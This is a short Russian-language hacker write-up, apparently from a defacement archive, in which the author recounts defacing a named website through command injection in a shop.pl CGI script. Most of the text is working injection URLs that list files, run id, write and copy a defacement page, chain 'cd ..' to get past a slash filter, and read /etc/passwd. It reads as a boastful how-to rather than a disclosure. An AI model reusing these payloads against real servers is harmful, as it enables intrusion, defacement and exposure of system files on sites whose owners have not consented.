-----------------------------------------
#!/usr/share/doc/defaced/3/cases/shop.txt
-----------------------------------------


                       Выполнение команд в скрипте shop.pl

Автор: durito [email protected] 

Зеркало взлома: http://taxidermia.void.ru/mirrors/2003/09/22/www.hawk-assoc.com

Как-то,  наткнулся  я  на  сайте  www.hawk-assoc.com  на  скрипт shop.pl. скрипт
обрабатывал следующий запрос:

http://www.xxx.com/cgi-local/shop.pl/page=index.html

сразу  всполмился  довольно  старый  баг  в этом скрипте (возможность выполнения
команд):

http://www.xxx.com/cgi-local/shop.pl/page=;ls|
http://www.xxx.com/cgi-local/shop.pl/page=;id|
http://www.xxx.com/cgi-local/shop.pl/page=;cat shop.pl|

собственно  выполнить  дефейс  не  представляло  особой  сложности.  для  начала
создавался файл index.html:

http://www.xxx.com/cgi-local/shop.pl/page=;echo deface:durito>index.html|

далее созданный файл копировался в директорию выше:

http://www.xxx.com/cgi-local/shop.pl/page=;cp index.html ..|

вот  и  весь дефейс. но ведь интересно было и по другим директориям походить. но
скрипт упорно резал /. так что команда:

http://www.xxx.com/cgi-local/shop.pl/page=;ls ../cgi-bin| 

не  работала, скрипт выдавал сообщение об ошибке. Но тут я вспомнил о символе ;!
С  помощью  него  можно  выполнять  команды  последовательно.  Выполнение каждой
последующей команды начинается только после полного завершения предудущей. Ввожу
следующую команду:

http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;ls| 

и вижу листинг каталога вернего уровня. и так далее:

http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;ls|

добрался и до корня. путешествие по папкам тоже не представляло сложности:

http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;cd /etc;ls|

вот и злополучный passwd нашелся:

http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;cd
/etc;cat passwd|

И так далее. вот собственно и все.